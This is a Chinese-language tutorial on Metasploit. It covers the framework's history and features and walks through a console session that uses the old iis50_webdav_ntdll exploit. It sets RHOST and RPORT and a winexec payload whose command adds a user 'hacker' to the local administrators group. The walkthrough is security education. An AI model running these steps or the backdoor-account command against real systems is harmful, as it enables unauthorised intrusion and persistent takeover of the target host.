Metasploit的使用
一、Metasploit简介
Metasploit是一个免费的、可下载的框架,通过它可以很容易地获取、开发并对计算机软件漏洞实施攻击。它本身附带数百个已知软件漏洞的专业级漏洞攻击工具。当H.D. Moore在2003年发布Metasploit时,计算机安全状况也被永久性地改变了。仿佛一夜之间,任何人都可以成为黑客,每个人都可以使用攻击工具来攻击那些未打过补丁或者刚刚打过补丁的漏洞。软件厂商再也不能推迟发布针对已公布漏洞的补丁了,这是因为Metasploit团队一直都在努力开发各种攻击工具,并将它们贡献给所有Metasploit用户。
Metasploit的设计初衷是打造成一个攻击工具开发平台,本书稍后将讲解如何开发攻击工具。然而在目前情况下,安全专家以及业余安全爱好者更多地将其当作一种点几下鼠标就可以利用其中附带的攻击工具进行成功攻击的环境。
二、 Metasploit的工作方式
开源软件Metasploit是H.D. Moore在2003年开发的,它是少数几个可用于执行诸多渗透测试步骤的工具。在发现新漏洞时(这是很常见的),Metasploit会监控Rapid7,然后Metasploit的200,000多个用户会将漏洞添加到Metasploit的目录上。然后,任何人只要使用Metasploit,就可以用它来测试特定系统的是否有这个漏洞。
Metasploit框架使Metasploit具有良好的可扩展性,它的控制接口负责发现漏洞、攻击漏洞,提交漏洞,然后通过一些接口加入攻击后处理工具和报表工具。Metasploit框架可以从一个漏洞扫描程序导入数据,使用关于有漏洞主机的详细信息来发现可攻击漏洞,然后使用有效载荷对系统发起攻击。所有这些操作都可以通过Metasploit的Web界面进行管理,而它只是其中一种种管理接口,另外还有命令行工具和一些商业工具等等。
攻击者可以将来自漏洞扫描程序的结果导入到Metasploit框架的开源安全工具Armitage中,然后通过Metasploit的模块来确定漏洞。一旦发现了漏洞,攻击者就可以采取一种可行方法攻击系统,通过Shell或启动Metasploit的meterpreter来控制这个系统。
这些有效载荷就是在获得本地系统访问之后执行的一系列命令。这个过程需要参考一些文档并使用一些数据库技术,在发现漏洞之后开发一种可行的攻击方法。其中有效载荷数据库包含用于提取本地系统密码、安装其他软件或控制硬件等的模块,这些功能很像以前BO2K等工具所具备的功能。
三、特点
这种可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。最新版本的 MSF 包含了750多种流行的操作系统及应用软件的漏洞,以及224个 shellcode 。作为安全工具,它在安全检测中用着不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。
Metasploit自带上百种漏洞,还可以在online exploit building demo(在线漏洞生成演示)上看到如何生成漏洞。这使自己编写漏洞变得更简单,它势必将提升非法shellcode的水平,并且扩大网络阴暗面。与其相似的专业漏洞工具,如Core Impact和Canvas已经被许多专业领域用户使用。Metasploit降低了使用的门槛,将其推广给大众。
四、 Metasploit的使用
(1)命令行下使用Metasploit
运行后首先看到的是Metasploit欢迎界面,我们输入“?”得到在线帮助(如图1所示):
(2)可以看到里面有很多的命令,将最重要的几个做简单解释:
“?”:得到帮助。“cd”:更换当前的工作目录。“exit”:退出。“help”:得到帮助。“info”:显示当前程序的信息。“quit”:推出程序。“reload”:载入Exploit和payloads。“save”:保存当前设置“setg”:设置一个环境变量。“show”:显示可用的Exploit和payloads。“use”:使用一个Exploit。“version”:显示程序的版本。
(3)左面显示的是溢出程序的程序名称,右面是相应的简介。可以看到Metasploit中带的溢出程序包还是很多的。
一般情况下,当拿到一个溢出程序后要先阅读溢出程序的帮助文件来查看使用方法,在Metasploit中用Info命令查看我们需要的溢出程序,该命令的作用是显示溢出程序包的详细信息,比如我们想要查看 “iis50_webday_ntdll”溢出工具包的使用方法,在命令行下输入:“info Exploit iis50_webday_ntdll”后得到如图3所示的回显:
(4)这里需要说明的是在输入的命令中的Exploit是向程序指明我们要查看的是Exploit的信息,当然可以查看的还有Payload的信息,Payload就是平时说的ShellCode。在Metasploit中,溢出所用的ShellCode并不像我们平时用到的溢出工具一样,Metasploit允许我们自己选择自己喜欢的ShellCode,这样就大大提高了溢出的灵活行。
(5)在命令行下输入“show payloads”后可以看到可用的ShellCode列表
(6),左面是ShellCode的名字,右面是相应的简介。用Info命令来看一下ShellCode的具体信息,比如我们对一个叫Winexec的ShellCode比较感兴趣,在命令行下输入:Info payload winexec
(7)在这个对话框中需要注意的同样是开头的信息和Available Options中的内容。在Available Options中,我们可以看到有Required和Optional的字样,Required 代表必选的意思Optional代表是可选可不选的。在下面的具体使用中我们需要用到这里面的选项。
(8)在实际的溢出中,要用到的是USE命令。以“iis50_webdav_ntdll”溢出工具包为例。在命令行中输入“use iis50_webdav_ntdll”后会切换到“iis50_webdav_ntdll”目录下。输入Show options,查看溢出工具包要求指定输入的内容
(9)可以看到有两个Required项,这里的Required是和图3中一致的。下面来设置这些必须的选项,在命令行下依次输入:set RHOST 192.168.1.3set RPORT 80
(10)在Metasploit中,ShellCode是可自己指定的,依次输入set payload winexecset CMD net user hacker 123 /add & net localgroup administrators hacker /add
(11)指明目标主机的操作系统就可以发动攻击了,输入:show targets可以看到可供选择的操作系统类型的代表名称。接着输入:set target 0选定操作系统。OK,我们确认一下,输入:Set 可以看到如图所示:
(12) 检查无误后就可以开始溢出了,输入:Exploit程序提示溢出开始,
Metasploit图形界面的使用方法和命令行下没有太大的区别,只不过是操作方式的不同罢了:到Metasploit的安装目录下找到Msfweb.bat文件双击运行
(13)然后打开IE,在地址栏中输入http://127.0.0.1:55555等一会后看到图11所示的IE窗口: